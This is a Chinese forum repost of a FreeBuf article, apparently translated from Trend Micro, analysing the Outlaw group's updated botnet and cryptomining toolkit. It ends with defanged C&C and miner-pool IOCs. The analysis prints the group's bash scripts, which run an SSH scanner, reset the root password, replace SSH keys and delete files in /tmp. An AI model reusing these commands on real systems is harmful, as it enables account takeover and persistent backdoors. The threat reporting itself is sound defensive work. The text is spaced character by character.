搜索

[15410] 2020-05-24_Outlaw黑客组织武器更新分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-05-24_Outlaw黑客组织武器更新分析 O u t l a w 黑 客 组 织 武 器 更 新 分 析 K r i s t o n   F r e e B u f   2 0 2 0 - 0 5 - 2 4 网 络 犯 罪 集 团 保 持 沉 默 不 一 定 意 味 着 没 有 活 动 ， 过 去 几 个 月 一 直 保 持 沉 默 的 黑 客 组 织 网 络 犯 罪 集 团 保 持 沉 默 不 一 定 意 味 着 没 有 活 动 ， 过 去 几 个 月 一 直 保 持 沉 默 的 黑 客 组 织 O u t l a w 更 新 了 其 武 器 库 。 更 新 了 其 武 器 库 。 自 从 去 年 6 月 以 来 该 组 织 一 直 保 持 沉 默 ， 在 1 2 月 活 动 有 所 增 加 。 研 究 人 员 发 现 该 组 织 对 武 器 功 能 进 行 了 更 新 ， 扩 展 了 扫 描 程 序 的 参 数 和 目 标 ， 改 进 了 规 避 技 术 ， 提 高 了 攻 击 带 来 的 经 济 利 益 。 这 些 工 具 旨 在 窃 取 汽 车 和 金 融 行 业 信 息 ， 对 目 标 系 统 发 动 后 续 攻 击 和 出 售 被 盗 信 息 。 技 术 分 析 技 术 分 析 新 样 本 利 用 已 知 漏 洞 来 针 对 L i n u x 和 U n i x 操 作 系 统 、 服 务 器 以 及 物 联 网 （ I o T ） 设 备 ， 新 添 加 了 C V E - 2 0 1 6 - 8 6 5 5 和 D i r t y   C O W 漏 洞 （ C V E - 2 0 1 6 - 5 1 9 5 ） 利 用 模 块 ， 使 用 P H P   W e b   S h e l l 攻 击 具 有 S S H 和 T e l n e t 弱 凭 据 系 统 。 活 动 中 未 观 察 到 网 络 钓 鱼 或 社 会 工 程 学 攻 击 ， 发 现 了 大 规 模 定 时 I P 扫 描 操 作 。 流 量 中 的 命 令 异 常 特 征 ： 样 本 中 攻 击 是 从 V P S 开 始 的 ， 该 服 务 器 搜 索 存 在 漏 洞 的 计 算 机 进 行 入 侵 ， 感 染 后 就 会 启 动 扫 描 活 动 ， 并 传 播 僵 尸 网 络 。 攻 击 者 试 图 利 用 b a s e - 6 4 编 码 来 逃 避 流 量 检 查 。 解 码 扫 描 器 显 示 以 下 代 码 ： 发 现 的 攻 击 组 件 为 t g z 格 式 ， 另 外 还 观 察 到 一 些 伪 装 为 p n g 或 j p g 的 样 本 。 最 新 版 本 的 代 码 试 图 删 除 以 前 所 有 相 关 的 文 件 和 代 码 ， 包 括 自 己 的 代 码 （ 以 确 保 更 新 正 在 运 行 的 组 件 ） 和 其 他 网 络 罪 犯 组 织 的 攻 击 代 码 ， 并 创 建 新 工 作 目 录 ‘ / t m p / . X 1 9 - u n i x ‘ 放 置 工 具 并 提 取 文 件 。 然 后 ， t s m 二 进 制 文 件 后 台 运 行 ， 将 一 系 列 错 误 消 息 发 送 到 / d e v / n u l l 以 保 持 代 码 运 行 ， 等 待 2 0 分 钟 后 再 运 行 脚 本 i n i t a l l ： 2 e 2 c 9 d 0 8 c 7 c 9 5 5 f 6 c e 5 e 2 7 e 7 0 b 0 e c 7 8 a 8 8 8 c 2 7 6 d 7 1 a 7 2 d a a 0 e f 9 e 3 e 4 0 f 0 1 9 a 1 a     i n i t a l l # ! / b i n / b a s h c d   / t m p r m   - r f   . s s h r m   - r f   . m o u n t f s r m   - r f   . X 1 3 - u n i x r m   - r f   . X 1 7 - u n i x r m   - r f   . X 1 9 - u n i x m k d i r   . X 1 9 - u n i x c d   . X 1 9 - u n i x m v   / v a r / t m p / d o t a 3 . t a r . g z   d o t a 3 . t a r . g z t a r   x f   d o t a 3 . t a r . g z s l e e p   3 s   & &   c d   / t m p / . X 1 9 - u n i x / . r s y n c / c n o h u p   / t m p / . X 1 9 - u n i x / . r s y n c / c / t s m   - t   1 5 0   - S   6   - s   6   - p   2 2   - P   0   - f   0   - k   1   - l   1   - i   0   / t m p / u p . t x t   1 9 2 . 1 6 8   > >   / d e v / n u l l   2 > 1 & s l e e p   8 m   & &   n o h u p   / t m p / . X 1 9 - u n i x / . r s y n c / c / t s m   - t   1 5 0   - S   6   - s   6   - p   2 2   - P   0   - f   0   - k   1   - l   1   - i   0   / t m p / u p . t x t   1 7 2 . 1 6   > >   / d e v / n u l l   2 > 1 & s l e e p   2 0 m   & &   c d   . . ;   / t m p / . X 1 9 - u n i x / . r s y n c / i n i t a l l   2 > 1 & e x i t   0
成 功 入 侵 后 另 一 个 变 体 将 执 行 命 令 ， 从 受 感 染 机 器 上 收 集 信 息 （ C P U 核 心 数 ， 用 户 ， 计 划 任 务 ， 正 在 运 行 的 进 程 ， 已 安 装 的 操 作 系 统 以 及 C P U 和 内 存 信 息 ） ， 将 密 码 更 改 为 随 机 字 符 串 存 储 在 / t m p / u p . t x t 中 。   运 行 后 会 删 除 以 前 攻 击 的 文 件 和 脚 本 ， 保 持 静 默 从 而 逃 避 检 测 。 如 果 系 统 先 前 已 被 感 染 了 ， 它 会 尝 试 杀 死 正 在 运 行 的 矿 工 程 序 及 其 所 有 相 关 活 动 。 最 新 样 本 的 b a s h t e m p 目 录 中 还 有 其 他 脚 本 i n i t 和 i n i t 2 ： c a t   / p r o c / c p u i n f o   |   g r e p   n a m e   |   w c   - l e c h o   " r o o t : T X h f 4 I C T a y I h " | c h p a s s w d | b a s h e c h o   " 3 2 1 "   >   / v a r / t m p / . v a r 0 3 5 2 2 1 2 3 r m   - r f   / v a r / t m p / . v a r 0 3 5 2 2 1 2 3 c a t   / v a r / t m p / . v a r 0 3 5 2 2 1 2 3   |   h e a d   - n   1 c a t   / p r o c / c p u i n f o   |   g r e p   n a m e   |   h e a d   - n   1   |   a w k   ' { p r i n t   $ 4 , $ 5 , $ 6 , $ 7 , $ 8 , $ 9 ; } ' f r e e   - m   |   g r e p   M e m   |   a w k   ' { p r i n t   $ 2   , $ 3 ,   $ 4 ,   $ 5 ,   $ 6 ,   $ 7 } ' l s   - l h   $ ( w h i c h   l s ) w h i c h   l s c r o n t a b   - l w u n a m e   - m c a t   / p r o c / c p u i n f o   |   g r e p   m o d e l   |   g r e p   n a m e   |   w c   - l t o p u n a m e u n a m e   - a l s c p u   |   g r e p   M o d e l e c h o   " r o o t   1 2 3 "   >   / t m p / u p . t x t r m   - r f   / v a r / t m p / d o t a * < s e n d   O u t l a w   k i t   ( t h e   a r c h i v e   f i l e )   t o   c o m p r o m i s e d   h o s t   v i a   S F T P > c a t   / v a r / t m p / . s y s t e m c a c h e 4 3 6 6 2 1 e c h o   " 1 "   >   / v a r / t m p / . s y s t e m c a c h e 4 3 6 6 2 1 c a t   / v a r / t m p / . s y s t e m c a c h e 4 3 6 6 2 1 s l e e p   1 5 s   & &   c d   / v a r / t m p ;   e c h o   " I y E v Y m l u L 2 J h c 2 g K Y 2 Q g L 3 R t c A k . . . . . < s h o r t e n e d > c d   ~   & &   r m   - r f   . s s h   & &   m k d i r   . s s h   & &   e c h o   " s s h - r s a   A A A A B 3 N . . . . . < s h o r t e n e d >
0 c 4 5 8 d f e 0 a 2 a 0 1 a b 3 0 0 c 8 5 7 f d c 3 3 7 3 b 7 5 f b b 8 c c f a 2 3 d 1 6 e f f 0 d 6 a b 8 8 8 a 1 a 2 8 f 6     i n i t 9 3 c e 2 1 1 a 7 1 8 6 7 0 1 7 7 2 3 c d 7 8 9 6 9 a a 4 c a c 9 d 2 1 c 3 d 8 f 7 2 c 9 6 e e 3 e 1 b 2 7 1 2 c 0 e e a 4 9 4     i n i t 2
i n i t 和 i n i t 2 脚 本 确 保 杀 死 所 有 其 他 正 在 运 行 的 挖 矿 服 务 ， 并 授 予 工 作 目 录 7 7 7 权 限 确 保 所 有 文 件 都 可 执 行 。 还 发 现 i n i t 0 脚 本 ，   该 脚 本 会 无 差 别 清 除 所 有 矿 工 。 恶 意 软 件 会 重 置 c r o n 并 删 除 缓 存 文 件 ， 启 动 脚 本 和 二 进 制 文 件 i n i t 0 ， 修 改 c r o n t a b 保 持 控 制 权 ， S h e l l b o t 伪 装 成 r s y n c 进 程 逃 避 检 测 。
S h e l l b o t 脚 本 在 受 害 者 系 统 重 启 后 运 行 ， 脚 本 / a / u p d ， / b / s y n c / 和 / c / a p t i t u d e / 会 添 加 到 c r o n t a b 中 。 最 新 版 本 u p d ， s y n c 和 a p t i t u d e 功 能 被 禁 用 。 S h e l l b o t 通 过 C ＆ C 服 务 器 发 送 命 令 来 控 制 僵 尸 网 络 ， 从 受 感 染 系 统 收 集 的 所 有 结 果 和 系 统 信 息 都 将 现 在 本 地 保 存 ， 由 攻 击 者 利 用 C ＆ C 采 集 信 息 。 还 发 现 了 基 于 A n d r o i d   P a c k a g e   K i t s （ A P K ） 和 基 于 A n d r o i d   D e b u g   B r i d g e （ A D B ） 的 命 令 ， 这 些 命 令 可 在 A n d r o i d 系 统 中 启 用 挖 矿 活 动 ： 总 结 总 结 2 0 1 8 年 发 现 该 组 织 以 来 ， O u t l a w 持 续 使 用 一 套 攻 击 脚 本 ， 代 码 和 命 令 ， 不 同 的 版 本 在 代 码 迭 代 之 后 会 简 单 的 重 命 名 ， 遵 循 特 定 的 格 式 ， 与 代 码 的 实 际 功 能 无 关 。 该 组 织 将 公 开 漏 洞 利 用 作 为 攻 击 手 段 ， 广 泛 的 进 行 I P 地 址 扫 描 活 动 ， 在 特 定 时 期 内 攻 击 特 定 区 域 。 该 小 组 会 利 用 先 前 攻 击 活 动 中 的 一 些 细 节 来 最 大 程 度 地 获 利 。 他 们 也 了 解 欧 洲 现 有 的 法 律 ， 有 意 避 开 攻 击 某 些 国 家 ， 避 免 在 某 些 国 家 被 公 诉 。 公 司 企 业 应 定 期 更 新 系 统 ， 关 闭 未 使 用 端 口 ， 保 护 面 向 互 联 网 的 设 备 ， 采 用 多 层 安 全 解 决 方 案 ， 从 网 关 到 端 点 保 护 系 统 ， 并 通 过 行 为 分 析 和 沙 箱 阻 止 恶 意 U R L 。 I O C s U R L s
1 5 9 [ . ] 2 0 3 [ . ] 1 4 1 [ . ] 2 0 8 1 0 4 [ . ] 2 3 6 [ . ] 1 9 2 [ . ] 6 4 5 [ . ] 9 [ . ] 1 4 8 [ . ] 1 2 9 : 8 0               M i n e r   p o o l 4 5 [ . ] 9 [ . ] 1 4 8 [ . ] 1 2 5 : 8 0               M i n e r   p o o l h t t p : / / w w w [ . ] m i n p o p [ . ] c o m / s k 1 2 p a c k / i d e n t s . p h p                     C o m m a n d   a n d   c o n t r o l h t t p : / / w w w [ . ] m i n p o p [ . ] c o m / s k 1 2 p a c k / n a m e s . p h p                     C o m m a n d   a n d   c o n t r o l M I T R E   A T T & C K   M a t r i x ™ * 参 考 来 源 ： 参 考 来 源 ： t r e n d m i c r o ， 由 ， 由 K r i s t o n 编 译 ， 编 译 ， 转 载 请 注 明 来 自 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理